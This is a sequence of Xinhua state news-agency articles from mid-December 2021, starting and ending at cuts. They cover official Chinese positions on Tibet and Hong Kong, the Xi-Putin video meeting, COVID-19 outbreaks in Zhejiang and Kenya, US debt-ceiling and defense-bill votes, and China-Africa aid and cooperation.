"The CPC's guidelines for governing Tibet have ensured the right direction of the region's development and produced bountiful results," said Li Huiqin, a professor at Shaanxi-based Xizang Minzu University. Based on a keen understanding of new situations at home and abroad, the CPC has summarized its successes in leading the people of Tibet to stability and prosperity, and proposed the guidelines for governing Tibet in the new era. The guidelines include upholding CPC leadership, socialism with Chinese characteristics, and the system of regional ethnic autonomy; upholding the strategy on governing border areas and ensuring stability in Tibet; safeguarding national unification and strengthening ethnic unity; and prioritizing ecological protection. "These new guidelines have forged the future direction for Tibet work and boosted confidence for pushing ahead such work," said Li Hongjun, deputy secretary-general of the regional government. Wang Junzheng said the guidelines for governing Tibet in the new era must be implemented thoroughly while pursuing new achievements in regional development. ASSISTANCE FROM WHOLE COUNTRY The region's past achievements were the results of the firm leadership of the CPC Central Committee, the hard work of officials and people of all ethnic groups in Tibet, as well as the tremendous support given by people across the country. The CPC Central Committee made a major decision on the pairing-up assistance by the whole country during the third central symposium on Tibet work in 1994. Under the mechanism, provincial-level regions, central government departments and centrally administered state-owned enterprises have injected 52.7 billion yuan into Tibet through 6,330 projects between 1994 and 2020. They also selected and dispatched 9,682 cadres to the region. In this combo photo, the upper part taken by Ren Yongzhao shows patients walking to the doctors' offices at Lhasa People's Hospital in the 1950s; and the lower part taken by Sun Ruibo on April 19, 2021 shows surgeons of Lhasa People's Hospital using a robot to perform an orthopaedic surgery under the remote guidance of experts from Beijing Jishuitan Hospital through 5G communication technology in Lhasa, southwest China's Tibet Autonomous Region. (Xinhua) Ngari Prefecture, known for its high altitude of more than 4,500 meters on the average and harsh natural environment, saw the opening of a neonatal critical care center last month, the first of its kind in the prefecture. Built with a total investment of 5 million yuan, the center established in Ngari Prefecture People's Hospital is the result of joint efforts of a pairing-up aid program from Shaanxi Province along with the Beijing United Charity Foundation. "The center is equipped with high-frequency oscillatory ventilation equipment and will be used for the treatment of acute respiratory distress syndrome, pulmonary hemorrhage and other refractory respiratory failures," said Chen Chen, head of the hospital and also a member of the Tibet-aid team from Shaanxi. The support for Tibet from the whole country shows the advantage of socialism to solve major problems by pooling resources from across the nation, said Xu Xing, a professor at Tianjin-based Nankai University. "Only China and the CPC can accomplish something like this in the world, demonstrating our political and institutional advantages," Xu said. Source: Xinhua| 2021-12-14 23:00:21|Editor: huaxia Video Player Close The national flags of China and Russia are seen on Red Square, Moscow. A series of new achievements have been made in the fields of politics, economy and trade, science and technology, energy and the military. MOSCOW, Dec. 14 (Xinhua) -- Chinese President Xi Jinping will meet with Russian President Vladimir Putin via video link on Wednesday, another virtual conference this year following the one in June. Since the beginning of this year, China and Russia have taken the celebration of the 20th anniversary of the signing of the China-Russia Treaty of Good-neighborliness and Friendly Cooperation as a new starting point to promote strategic coordination and comprehensive practical cooperation between the two countries. A series of new achievements have been made in the fields of politics, economy and trade, science and technology, energy and the military. Chinese President Xi Jinping holds talks with Russian President Vladimir Putin via video link in Beijing, capital of China, June 28, 2021. (Xinhua/Ding Lin) The heads of state have maintained frequent and close contacts in 2021. In May, Xi and Putin witnessed the ground-breaking ceremony of a bilateral nuclear energy cooperation project via video link. In June, the presidents met via video link to jointly announce the extension of the China-Russia Treaty of Good-Neighborliness and Friendly Cooperation. In July, Xi sent a message of condolence to Putin over the crash of a Russian passenger plane. In August, the leaders held a phone conversation to discuss bilateral ties and the Afghan situation. With China being Russia's top trading partner for many consecutive years, their bilateral trade exceeded 100 billion U.S. dollars in 2018 for the first time and has maintained the momentum despite the COVID-19 pandemic. In the first 10 months of this year, China-Russia trade in goods reached a record of 115.6 billion dollars, topping the whole-year volume of 2020, official statistics showed. Image released by the China National Space Administration (CNSA) on Dec. 4, 2020 shows China's national flag unfurled from the Chang'e-5 probe on the moon. In March, China and Russia signed a memorandum of understanding on jointly establishing an international scientific research station on the moon. The China-Russia Year of Scientific and Technological Innovation concluded last month, which saw more than 1,000 events for exchanges on scientific innovation and cooperation. The No. 7 and No. 8 units of the Tianwan nuclear power plant and the No. 3 and No. 4 units of the Xudapu nuclear power plant started construction in May, which are the biggest China-Russia joint project in the field of nuclear energy. Photo taken on May 18, 2021 shows a construction site where Units 7 and 8 of the Tianwan nuclear power plant are about to be built, in Lianyungang City, east China's Jiangsu Province. (Xinhua) A joint military exercise between China and Russia, named ZAPAD/INTERACTION-2021, was carried out in northwest China. The two navies conducted their first joint maritime cruise, and the two air forces carried out their third joint strategic aerial patrol. The two militaries strengthened coordination via participating in the "Peace Mission 2021" counter-terrorism military drill of the Shanghai Cooperation Organization member states and the International Army Games 2021. The exercise ZAPAD/INTERACTION-2021 kicks off at a combined arms tactical training base of the PLA Army in Qingtongxia City of West China's Ningxia Hui Autonomous Region on August 9, 2021. (Chinese Ministry of National Defense) As comprehensive strategic partners of coordination for a new era, China and Russia firmly support each other on major issues concerning each other's core interests, coordinate closely on international affairs, and play a pivotal role in maintaining global peace and stability, Chinese Ambassador to Russia Zhang Hanhui has said. Source: Xinhua| 2021-12-14 23:35:08|Editor: huaxia Video Player Close HONG KONG, Dec. 14 (Xinhua) -- The Office of the Commissioner of the Chinese Foreign Ministry in the Hong Kong Special Administrative Region (HKSAR) said on Tuesday that it strongly disapproved of, firmly rejected and condemned the so-called "six-monthly report on Hong Kong: January to June 2021" issued by the British government. The so-called report again smeared the rule of law and development in Hong Kong, slandered the successful practice of "one country, two systems," vilified the national security law in Hong Kong and Hong Kong's electoral system, and seriously trampled on the principles of international law and the basic norms governing international relations including "non-interference in others' internal affairs," said a spokesperson of the office. "Under the national security law in Hong Kong and the improved electoral system, our national security has been safeguarded, Hong Kong society has returned to the right track, the rule of law and justice have been upheld, and the rights, freedoms and security of Hong Kong residents have been effectively safeguarded," the spokesperson said. Facts have proved that the national security law in Hong Kong protects national security, Hong Kong's stability, and the peaceful life of Hong Kong residents, the spokesperson said, adding the principle of "patriots administering Hong Kong" is a fundamental policy for maintaining Hong Kong's long-term prosperity and enduring stability. The spokesperson pointed out that the legal basis for the Chinese government's governance of the HKSAR after Hong Kong's return to the motherland is the Chinese Constitution and the Basic Law of the HKSAR, not the Sino-British Joint Declaration. The provisions relating to the British side in the Sino-British Joint Declaration were all fulfilled at the time of the return of Hong Kong and the completion of all follow-up work, the spokesperson said, adding that Britain has no sovereignty, jurisdiction nor "right of supervision" over Hong Kong after its return to China. Britain has repeatedly made irrepressible remarks about Hong Kong affairs by citing the Sino-British Joint Declaration, which is purely a distortion of history and legal principles, the spokesperson said. The political slogan of "standing with Hong Kong people" of the British side is to collude with anti-China, destabilizing forces in Hong Kong, and the intention of the British side putting together the so-called report before the upcoming seventh-term Legislative Council election in the HKSAR is to interfere in Hong Kong affairs and disrupt the election order of the HKSAR, the spokesperson said. Noting that the tide of the times is surging forward, the spokesperson said the historical process of the great rejuvenation of the Chinese nation is irreversible, and Hong Kong's transformation from chaos to stability and prosperity is irresistible. With the enforcement of the national security law in Hong Kong and improvement to Hong Kong's electoral system, and with the accelerated implementation of China's 14th Five-Year Plan and the Guangdong-Hong Kong-Macao Greater Bay Area initiative, Hong Kong will embrace a more secure, democratic, free and harmonious future, the spokesperson said. "We urge the British side to recognize the reality, follow the historical trend, and stop indulging in the old colonial dreams. Any external forces that attempt to use Hong Kong to curb China's development will find themselves on a collision course with the strong willpower of the Chinese nation to defend our national interests," the spokesperson said. Enditem Source: Xinhua| 2021-12-15 00:54:23|Editor: huaxia Video Player Close Chinese Ambassador to Uganda Zhang Lizhong (2nd R), Grace Kwiyucwiny (1st R), minister of state in charge of northern Uganda, and Abdirahman Meygag (2nd L), the UN World Food Program (WFP) representative to Uganda, attend a handover ceremony in Kampala, Uganda, on Dec. 14, 2021. China on Tuesday donated relief food worth 2 million U.S. dollars to the UN World Food Program (WFP) to help feed school children in the semi-arid northeastern Uganda also known as Karamoja. (Photo by Lu Jicheng/Xinhua) KAMPALA, Dec. 14 (Xinhua) -- China on Tuesday donated relief food worth 2 million U.S. dollars to the UN World Food Program (WFP) to help feed school children in the semi-arid northeastern Uganda also known as Karamoja. Zhang Lizhong, Chinese ambassador to Uganda, said at a handover ceremony that China is committed to supporting Uganda's future workforce because without the support they need, many children would go hungry and fail to study while at home. "The take-home ration is our simple message to every child in Karamoja: Stay in school and you will have food. With food, you can study hard so that you can feed yourself and contribute to building your nation in the future," Zhang said. In February, China and WFP signed a new agreement to provide over 3,000 metric tons of food assistance valued at 2 million U.S. dollars to Uganda. The food assistance program is expected to benefit more than 120,000 people in 300 schools in the Karamoja region. Grace Kwiyucwiny, minister of state in charge of northern Uganda, hailed the Chinese donation, saying it is critical in supporting the hungry in the region that faces food security problems. Kwiyucwiny said the donation comes at the right time as government is planning to reopen schools. Abdirahman Meygag, WFP representative to Uganda, said the Chinese donation is critical in helping children stay on the learning course despite schools being closed in the country due to the COVID-19 pandemic. Meygag said since schools are closed, the food rations are taken to their homes, where they continue schooling. He said the Chinese donation has enabled WFP to stick to its goal of feeding school children even at a time when schools are closed. The food aid agency figures show that about 98 percent of households who received the take-home ration say that it enabled the children to learn better at home besides reducing the household's overall expenditure on food. When the food is delivered at home, it reduces the time children go out looking for what to eat instead of concentrating on learning, Meygag said. According to WFP, the food is purchased from the local farmers so as to stimulate the local economy. Enditem Source: Xinhua| 2021-12-15 06:46:26|Editor: huaxia Video Player Close U.S. Senate Majority Leader Chuck Schumer speaks during a press conference on Capitol Hill in Washington, D.C. Dec. 14, 2021. The U.S. Senate on Tuesday approved a measure to lift the nation's borrowing limit by 2.5 trillion U.S. dollars, one day before the deadline set by Treasury Secretary Janet Yellen for lawmakers to take action to prevent a default. (Photo by Ting Shen/Xinhua) WASHINGTON, Dec. 14 (Xinhua) -- U.S. Senate on Tuesday approved a measure to lift the nation's borrowing limit by 2.5 trillion U.S. dollars, just one day before the deadline set by Treasury Secretary Janet Yellen for lawmakers to take action to prevent a default. The upper chamber voted 50-49 along party lines to raise the debt limit to roughly 31 trillion dollars, after Minority Leader Mitch McConnell and Majority Leader Chuck Schumer struck a deal to allow Democrats to approve the measure through simple-majority votes in the evenly-split Senate. The Democrats-held House of Representative is expected to quickly clear the legislation, which will then be sent to President Joe Biden for his signature. The measure would increase the debt limit by 2.5 trillion, which is expected to last until 2023 without the need for another vote to raise the borrowing cap, avoiding another partisan fight over the debt ceiling issue before the midterm elections next year. In mid-November, U.S. Treasury Secretary Janet Yellen already urged Congress to raise the federal government's debt limit by Dec. 15 to avoid a potential default. Enditem U.S. Senate Majority Leader Chuck Schumer speaks during a press conference on Capitol Hill in Washington, D.C. Dec. 14, 2021. The U.S. Senate on Tuesday approved a measure to lift the nation's borrowing limit by 2.5 trillion U.S. dollars, one day before the deadline set by Treasury Secretary Janet Yellen for lawmakers to take action to prevent a default. (Photo by Ting Shen/Xinhua) U.S. Senate Minority Leader Mitch McConnell is seen on Capitol Hill in Washington, D.C. Dec. 14, 2021. The U.S. Senate on Tuesday approved a measure to lift the nation's borrowing limit by 2.5 trillion U.S. dollars, one day before the deadline set by Treasury Secretary Janet Yellen for lawmakers to take action to prevent a default. (Photo by Ting Shen/Xinhua) U.S. Senate Majority Leader Chuck Schumer speaks during a press conference on Capitol Hill in Washington, D.C. Dec. 14, 2021. The U.S. Senate on Tuesday approved a measure to lift the nation's borrowing limit by 2.5 trillion U.S. dollars, one day before the deadline set by Treasury Secretary Janet Yellen for lawmakers to take action to prevent a default. (Photo by Ting Shen/Xinhua) Source: Xinhua| 2021-12-15 11:10:03|Editor: huaxia Video Player Close Staff members check vehicle information at the expressway exit in Shangyu District of Shaoxing, east China's Zhejiang Province, Dec. 14, 2021. (Xinhua/Weng Xinyang) BEIJING, Dec. 15 (Xinhua) -- The Chinese mainland on Tuesday reported 50 new locally transmitted COVID-19 cases, the National Health Commission said in its daily report on Wednesday. Of the new local cases, 45 were reported in Zhejiang, three in Inner Mongolia, and two in Guangdong, the commission said. Also reported were 17 new imported cases in eight provincial-level regions, according to the commission. No new suspected cases or new deaths related to COVID-19 were reported on Tuesday, it added. The total number of confirmed COVID-19 cases on the mainland had reached 99,923 by Tuesday, including 1,460 patients still receiving treatment, of whom 17 were in severe condition. A total of 93,827 patients had been discharged from hospitals on the mainland, and 4,636 had died as a result of the virus. A total of 24 asymptomatic cases were newly reported Tuesday, of whom 22 were from outside the mainland. Enditem Source: Xinhua| 2021-12-15 16:50:33|Editor: huaxia Video Player Close BEIJING, Dec. 15 (Xinhua) -- An article by Xi Jinping, general secretary of the Communist Party of China (CPC) Central Committee, on developing a quality workforce in the new era and building China into a major world center of professional talent and innovation will be published. The article by Xi, also Chinese president and chairman of the Central Military Commission, will be published on Thursday in this year's 24th issue of the Qiushi Journal, a flagship magazine of the CPC Central Committee. The article calls for efforts to speed up China's upgrade toward a major world center of talent and innovation, to support the goals of basically realizing socialist modernization by 2035 and building a great modern socialist China in all respects by 2050. Since the 18th CPC National Congress in 2012, the CPC Central Committee has put forward a series of new visions and strategies concerning talent cultivation, the article says, listing eight principles that have been upheld, including adhering to the CPC's overall leadership and deepening institutional reform in this field. The article sets the goals to be achieved through the year 2035, when the country will have advantages in talent competition in various areas and its strategic sci-tech strength and high-caliber talent teams will be among the strongest in the world. The article calls for efforts to build high-caliber talent hubs in Beijing, Shanghai and the Guangdong-Hong Kong-Macao Greater Bay Area. It also underlines the need to further reform the system and mechanisms for talent development and better cultivate strategic scientists, top sci-tech leaders and innovation teams, young sci-tech talent and outstanding engineers. Enditem Source: Xinhua| 2021-12-15 18:34:43|Editor: huaxia Video Player Close BEIJING, Dec. 15 (Xinhua) -- Chinese President Xi Jinping on Wednesday met with representatives attending a conference of the All-China Journalists Association and winners of this year's China Journalism Award. Xi, also general secretary of the Communist Party of China Central Committee and chairman of the Central Military Commission, extended greetings and congratulations to the representatives. Enditem Source: Xinhua| 2021-12-15 21:26:32|Editor: huaxia Video Player Close Chinese President Xi Jinping holds a virtual meeting with Russian President Vladimir Putin in Beijing, capital of China, Dec. 15, 2021. (Xinhua/Yin Bogu) BEIJING, Dec. 15 (Xinhua) -- Chinese President Xi Jinping said Wednesday that China and Russia have actively fulfilled their responsibilities as major countries, and acted as the bulwark of following true multilateralism and upholding fairness and justice in the world. Xi made the remarks at a virtual meeting with Russian President Vladimir Putin, their second virtual meeting in 2021 and their 37th meeting since 2013. Xi noted that on multiple occasions Putin has hailed Russia-China relations as a model of coordination between countries in the 21st century, firmly supported China in upholding core interests, and rejected attempts to sow discord between Russia and China. Xi expressed his deep appreciation and readiness to work with Putin to review the new progress made in bilateral relations this year, draw up new plans for cooperation across the board, and promote the sustained and high-quality development of bilateral ties. China-Russia relations have emerged from all kinds of tests to demonstrate new vitality, Xi said. Xi noted his regular communication and coordination on major agenda items with Putin in various forms, through which they have jointly charted the course for China-Russia relations. He also pointed out the enormous political advantage and great opportunities in the all-round practical cooperation between China and Russia. Bilateral trade in the first three quarters of 2021 exceeded 100 billion U.S. dollars for the first time, and the year-round volume is expected to hit a new record, Xi said. Smooth progress is being made in synergizing Belt and Road cooperation with the Eurasia Economic Union, he noted. The two countries have actively fulfilled their responsibilities as major countries, promoted a united, global response to COVID-19, communicated the true meaning of democracy and human rights, and acted as the bulwark of following true multilateralism and upholding fairness and justice in the world, Xi said. Enditem Chinese President Xi Jinping holds a virtual meeting with Russian President Vladimir Putin in Beijing, capital of China, Dec. 15, 2021. (Xinhua/Huang Jingwen) Chinese President Xi Jinping holds a virtual meeting with Russian President Vladimir Putin in Beijing, capital of China, Dec. 15, 2021. (Xinhua/Huang Jingwen) Chinese President Xi Jinping holds a virtual meeting with Russian President Vladimir Putin in Beijing, capital of China, Dec. 15, 2021. (Xinhua/Liu Bin) Source: Xinhua| 2021-12-15 21:58:00|Editor: huaxia Video Player Close Chinese President Xi Jinping, also general secretary of the Communist Party of China (CPC) Central Committee and chairman of the Central Military Commission, meets with representatives attending a conference of the All-China Journalists Association (ACJA) and winners of this year's China Journalism Award at the Great Hall of the People in Beijing, capital of China, Dec. 15, 2021. Li Keqiang and Wang Huning, who are members of the Standing Committee of the Political Bureau of the CPC Central Committee, attended the event. (Xinhua/Li Xueren) BEIJING, Dec. 15 (Xinhua) -- Chinese President Xi Jinping on Wednesday met with representatives attending a conference of the All-China Journalists Association (ACJA) and winners of this year's China Journalism Award. Xi, also general secretary of the Communist Party of China (CPC) Central Committee and chairman of the Central Military Commission, extended greetings and congratulations to the representatives. Li Keqiang and Wang Huning, who are members of the Standing Committee of the Political Bureau of the CPC Central Committee, attended the event. Addressing the event on behalf of the CPC Central Committee, Huang Kunming, a senior CPC official, asked all journalists across the country to better communicate and explain the Party's new theories and spread the Party's voice among more people. He called for building a reliable, admirable and respectable image of China. Enditem Chinese President Xi Jinping, also general secretary of the Communist Party of China (CPC) Central Committee and chairman of the Central Military Commission, meets with representatives attending a conference of the All-China Journalists Association (ACJA) and winners of this year's China Journalism Award at the Great Hall of the People in Beijing, capital of China, Dec. 15, 2021. Li Keqiang and Wang Huning, who are members of the Standing Committee of the Political Bureau of the CPC Central Committee, attended the event. (Xinhua/Li Xueren) Source: Xinhua| 2021-12-15 23:54:39|Editor: huaxia Video Player Close -- China's Zhejiang is making all-out efforts to contain the latest COVID-19 outbreak while mitigating its impact on manufacturing and business activities. -- All the locally transmitted COVID-19 cases in Zhejiang were reported in three cities -- the provincial capital of Hangzhou, neighboring Shaoxing, which houses many leading chemical plants, and Ningbo, one of the busiest ports in China. -- Commerce authorities are swiftly identifying threats the epidemic may pose on the production and supply chains and responding to the needs of export-oriented companies affected by the epidemic. HANGZHOU, Dec. 15 (Xinhua) -- Authorities in east China's Zhejiang are making all-out efforts to contain the latest COVID-19 outbreak while mitigating its impact on manufacturing and business activities. The Chinese mainland Tuesday reported 50 new locally transmitted COVID-19 cases, of which 45 were in Zhejiang Province, said the National Health Commission (NHC). The province had registered 235 confirmed locally transmitted cases as of 4 p.m. Tuesday, in the latest resurgence since Dec. 5. Zhejiang is an economic and exports hub and a powerhouse in China. It saw its gross domestic product grow to more than 6.46 trillion yuan (about 1 trillion U.S. dollars) in 2020. The province's exports accounted for 14 percent of the country's total. Medical workers prepare for nucleic acid test at a testing site in Zhenhai District of Ningbo City, east China's Zhejiang Province, Dec. 12, 2021. (Photo by Hu Xuejun/Xinhua) All the cases in Zhejiang were reported in three cities -- the provincial capital of Hangzhou, neighboring Shaoxing, which houses many leading chemical plants, and Ningbo, one of the busiest ports in China. The epidemic in Shaoxing, by far the hardest-hit city, was caused by people who became infected while attending a funeral early this month, said Zhu Runye, deputy secretary-general of the Shaoxing municipal government. Zhu added that these include a vegetable vendor at a food market who caused cross infections among buyers and market management staff. "Infected cases are on a plateau in Shaoxing," said Xia Shichang, deputy head of Zhejiang's provincial health commission. "We expect to eliminate new cases in a week and contain the outbreak by the end of the month." Authorities in the Shangyu district of Shaoxing have initiated its highest-level emergency response and put several areas under closed-loop management. All enterprises in the areas, except for those involved in epidemic control and people's livelihood, have been suspended. Staff members check vehicle information at an expressway exit in Shangyu District of Shaoxing, east China's Zhejiang Province, Dec. 14, 2021. (Xinhua/Weng Xinyang) Starting from Dec. 7, the Zhenhai district of Ningbo, a pivotal distribution base of bulk liquid chemicals, was put under closed-loop management after a residential area and an electronic firm there were listed as medium-risk areas. To stabilize the production and supply chains of chemical plants, authorities in Zhenhai have issued special passes for them to ship out products and opened temporary cargo transport routes by train. "We issue about 150 special passes every day, which can meet the needs of raw material transport," said Zheng Xiaoyan, a director with Sinopec Zhenhai Refining & Chemical Company. Ningbo's maritime authorities have streamlined the approval process of cargo ships and opened fast tracks to ensure smooth docking and unloading of cargo ships. "While implementing epidemic control measures, we are also trying to ensure regular port operation," said Dai Dongqi, an official with Ningbo Maritime Safety Administration. Aerial photo taken on Dec. 8, 2021 shows residents lining up for nucleic acid test at a testing site in Zhenhai District of Ningbo City, east China's Zhejiang Province. (Photo by Hu Xuejun/Xinhua) On the government side, commerce authorities in Zhejiang are swiftly identifying threats the epidemic may pose on the production and supply chains and responding to the needs of export-oriented companies affected by the epidemic. "As soon as the situation gets better, we will do our utmost to help trade-dependent companies in the affected areas resume production and operation," said Li Lin, an official with the provincial department of commerce. "Policy-wise, we are mulling a slew of measures, including financial relief, tax breaks, and credit insurance, to help companies address unbalanced international logistics, cost hikes, labor shortages, and other problems," Li added. Photo taken on Dec. 14, 2021 shows the construction site of a temporary quarantine center in Shangyu District of Shaoxing, east China's Zhejiang Province. (Xinhua/Weng Xinyang) Nationwide, the Omicron variant of COVID-19 on the Chinese mainland has posed new challenges to the country's epidemic control efforts. COVID-19 cases involving Omicron have been detected in north China's port city of Tianjin and south China's Guangdong Province, another economic and exports hub. Wu Liangyou, deputy head of the disease control and prevention division of the NHC, said China's health authorities are keeping a close eye on the latest research on the variant and making relevant judgments accordingly. "At present, the Omicron variant does not affect the sensitivity and specificity of the existing nucleic acid detection reagents in China," said Wu. "The monitoring system in China can find the imported cases of the variant in time." (Video reporters: Xu Hongyi, Ma Xiaocheng; Video editors: Chen Sihong, Zhu Jianhui) Source: Xinhua| 2021-12-16 04:25:18|Editor: huaxia Video Player Close Photo taken on Sept. 30, 2021 shows the U.S. Capitol building in Washington, D.C., the United States. (Xinhua/Liu Jie) The 768.2-billion-dollar package provides 740 billion dollars for the Defense Department, 27.8 billion dollars for defense-related activities in the Department of Energy, and another 378 million dollars for other defense-related activities. WASHINGTON, Dec. 15 (Xinhua) -- The U.S. Senate voted Wednesday to pass a roughly 770-billion-U.S.-dollar defense spending bill for fiscal year 2022. The National Defense Authorization Act (NDAA) cleared the House last week and now goes to President Joe Biden's desk to be signed into law. "For the past six years, Congress worked on a bipartisan basis to pass an annual defense authorization act without fail. ... With so many priorities to balance, I thank my colleagues for working hard over these last few months, both in committee and off the floor, to get NDAA done," said Senate Majority Leader Chuck Schumer, Democrat of New York. Passed in the Senate in an 89-10 vote, the 768.2-billion-dollar package provides 740 billion dollars for the Defense Department, 27.8 billion dollars for defense-related activities in the Department of Energy, and another 378 million dollars for other defense-related activities. The NDAA authorizes 25 billion dollars to increase Biden's defense budget request for fiscal year 2022. Plus, it gives a 2.7 percent pay rise for military service members and the Pentagon's civilian employees. Along with authorizing funding for the Defense Department, this year's NDAA includes changes to the military justice system to address the inability the Pentagon has been accused of for decades to stem sexual assault in military ranks. The bill strips authority from military commanders to prosecute sex offenses, and instead tasks independent military lawyers with prosecuting sexual assault cases. Photo taken on July 8, 2021 shows military vehicles abandoned by U.S. forces at the Bagram Airfield base after all U.S. and NATO forces evacuated in Parwan province, eastern Afghanistan. (Xinhua/Rahmatullah ALizadah) The bill will also establish "a multi-year independent Afghanistan War Commission" to examine the 20-year conflict and the chaotic withdrawal of U.S. troops ordered by Biden in August, according to a summary of the legislation. It requires the secretary of defense to provide "in-depth" reports to Congress about the U.S. ability to counter terrorism in the region, the "accountability" of military equipment left in the country, as well as plans to evacuate Americans and "Afghan allies" who still remained there. Other issues in the bill include addressing extremism in the military by directing the Pentagon to submit a report with recommendation for adopting a "separate punitive" measure to tackle violent extremism. The legislation, however, does not contain a repeal of the 2002 war resolution that paved the way for the U.S. military invasion of Iraq, despite the fact that the Senate Democratic leadership has vowed to take up the provision and that the White House has endorsed it. The two-decade-old resolution has long been controversial because then President George W. Bush's claims that the Saddam Hussein regime in Iraq possessed weapons of mass destruction -- the excuse used by the Bush administration to invade Iraq -- have never been proven factually correct. Sanctions called for by Republican senators Ted Cruz and Jim Risch in relation to the Nord Stream 2 pipeline didn't get into the legislation either. Source: Xinhua| 2021-12-15 12:55:58|Editor: huaxia Video Player Close by Tichaona Chifamba, Zhang Yuliang HARARE, Dec. 15 (Xinhua) -- Zimbabwe-China relationship started a long time ago and Zimbabwe wants to strengthen its existing cooperation with China, a Zimbabwean minister has said. Expressing gratitude to China for helping the country combat COVID-19, Zimbabwe's Information, Publicity and Broadcasting Services Minister, Monica Mutsvangwa, said that China's aid, including the provision of vaccines, has "put the country among the leaders on the continent in vaccinating against the pandemic." "Because (of) we know, trust and belief in China, we went straight to our good friend. We have managed and we are continuing to vaccinate our people, so we are very excited. We are very grateful," she told Xinhua. Zimbabwe is also eager to partner with China in the joint production of COVID-19 vaccines, she said. In terms of trade and investment, the minister said that it is of great importance to her country to expand bilateral cooperation in this field. Noting more trade can help reduce poverty among Zimbabweans, Mutsvangwa said "this is a very good win-win situation." Meanwhile, the minister said Zimbabwe, with its fertile soils, is willing to take its partners on board to boost agriculture. "We want to make agriculture a business," she said, voicing hope that more soya beans will enter the Chinese market. "All what we need is capital, tractors, equipment and expertise ... It would be very good for Chinese companies to come into the country," she said. Mutsvangwa stressed the need to invest in the country's renewable energy, calling on more Chinese companies to invest in the field of solar energy. On China-Africa cooperation, Mutsvangwa congratulated China on the outcomes of the Eighth Ministerial Conference of the Forum on China-Africa Cooperation (FOCAC) recently. She said Zimbabwe regards FOCAC as the only viable way to change its economy, especially in the face of economic sanctions imposed by the West. FOCAC is also in alignment with the African Union's Agenda 2063 and the United Nations 2030 Agenda for Sustainable Development, she added. Noting FOCAC is very beneficial and it will "go a very long way," the minister said. "Our relationship with China started a long time ago. We have deepened it." Enditem Source: Xinhua| 2021-12-15 18:14:00|Editor: huaxia Video Player Close NAIROBI, Dec. 15 (Xinhua) -- Kenya's Ministry of Health said Wednesday it has detected three cases of the Omicron COVID-19 variant in the country. The cases were detected among travelers at the country's airports, said Mutahi Kagwe, cabinet secretary of the Ministry of Health. "We have detected Omicron among travelers and it's just a matter of time before it becomes the dominant variant across the globe," he told a consultative meeting in the coastal city of Mombasa. "I have no doubt about it." "Variants will come and go, but this is not the time for knee jerk reactions. The decision of the ministry of health must be on the basis of science and evidence and not emotions. We are still observing the situation," Kagwe said. Africa is being hit by the fourth wave of the COVID-19 pandemic driven by the Omicron variant, after recording the fastest weekly surge in new cases since May 2020, said an official of the World Health Organization (WHO) Tuesday. "Africa is now officially in the fourth wave of the COVID-19 pandemic, which is partly due to the Omicron variant," WHO Regional Director for Africa Matshidiso Moeti told an end-of-year press conference in Brazzaville, the capital of the Republic of the Congo, where the WHO Regional Office for Africa is based. Africa has seen a rise of 83 percent in new COVID-19 cases for the week ending Dec. 12, driven by the Delta and the Omicron variants, which is the fastest surge recorded since May 2020, she said. Enditem Source: Xinhua| 2021-12-15 18:19:28|Editor: huaxia Video Player Close ADDIS ABABA, Dec. 15 (Xinhua) -- Officials and experts worldwide called on Tuesday for better public health in Africa during the first International Conference on Public Health in Africa (CPHIA), as the world is still grappling with the COVID-19 pandemic. The conference "comes at a critical time for Africa and the world," the African Union (AU) and the Africa Centers for Disease Control and Prevention (Africa CDC), co-hosts of the CPHIA, said in a joint press release following the first day of the virtual conference. "COVID-19 has strained health systems globally, and with dangerously limited access to vaccines across Africa, it has laid bare deep inequities in access to healthcare and scientific innovations," it said. According to the press release, while almost 90 percent of high-income countries met the global goal of vaccinating at least 10 percent of the adult population by Sept. 30 this year, less than 20 African countries met this target. As of Dec. 3 this year, only 7 percent of the African population had been fully vaccinated, as many countries faced a surge in new cases and the emergence of the Omicron variant, it noted. The conference from Tuesday to Thursday, with more than 10,000 participants expected from 140 countries, focuses on discussing progress against COVID-19 in Africa, especially vaccination, as well as a new path forward for public health on the continent. During the first day of the CPHIA, Director of the Africa CDC John Nkengasong stressed the need to introduce a new approach in addressing public health problems in Africa in light of the COVID-19 impact on the continent. "While African leadership in addressing COVID-19 has been extraordinary, the pandemic has also underscored what we have long known to be true. We must urgently reimagine the approach to public health in Africa," he said. Expecting the conference to be "groundbreaking," Nkengasong said "by bringing together the brightest minds on the continent to share new insights and lessons learned, we will capitalize on this unprecedented momentum and create a new public health order for Africa." "We cannot wait any longer," he said. Senait Fisseha, co-chair of this year's CPHIA, said Tuesday at the opening session that the conference "is creating the foundation that will allow us to usher in a new era for science, partnership and innovation on the continent." "The hope is that this will become the preeminent annual health gathering in Africa -- where policymakers, researchers, advocates, community organizations and more come together to learn, address challenges and chart a path forward together," said Fisseha, also an Ethiopian endocrinologist at the Medical School of the University of Michigan. "There are major changes ahead for health on the continent, and this is just the beginning," she added. Enditem Source: Xinhua| 2021-12-15 18:49:57|Editor: huaxia Video Player Close NAIROBI, Dec. 15 (Xinhua) -- Kenya's financial markets regulator, the Capital Markets Authority (CMA) said Wednesday it has completed the review of the Capital Market Master Plan (CMMP) to help spur investments. Wyckliffe Shamiah, chief executive officer of CMA said the blueprint was developed in close collaboration with capital markets industry stakeholders with the aim of mobilizing savings and stimulating investments to the levels necessary to realize the Vision 2030 aspirations. Shamiah said in a statement issued in Nairobi that additional elements are designed to ensure it achieves maximum developmental impact to transform Kenya into the heart of African capital markets, adding that the impact of the full implementation of the revised Master Plan will be increased capital mobilization towards the real economy through the strengthening of regulatory frameworks and enabling the roll out of alternative products. He said some of the key changes in the revised Master Plan are clarification of the complementary roles of CMA-Kenya and the Nairobi International Financial Centre Authority (NIFCA) in the promotion and regulation of the capital markets; guidelines for how the CMA and other financial sector regulators can work in harmony with NIFCA to align their regulatory frameworks to international best practice to be attractive to foreign investors. Other changes include measures to catalyze activity in private equity and debt capital by making the asset class more accessible to asset managers, retirement schemes and the general investor base for the benefit of investors and the businesses. Shamiah added that some of the new focus areas for implementation include; access to investment for retail and institutional investors leveraging mobile and other online technology; and a significant increase in the utilization of capital markets and listings by small and medium enterprises through the introduction of tailored corporate governance requirements for family-owned businesses, Other priority areas that have been re-emphasized in the revised CMMP are increased equity and debt market liquidity through the rollout of capital markets liquidity tools such as market making, short selling, margin trading, securities lending and borrowing, and over the counter transactions. Enditem Source: Xinhua| 2021-12-15 22:04:30|Editor: huaxia Video Player Close MOGADISHU, Dec. 15 (Xinhua) -- The outgoing commander of the Burundi contingent of African Union Mission in Somalia (AMISOM) has called on Somalis to support stabilization efforts in the country amid several challenges. "It was a good opportunity as an African military officer to contribute to the stability of Somalia, the region, Africa, and global stability because terrorism haunts the 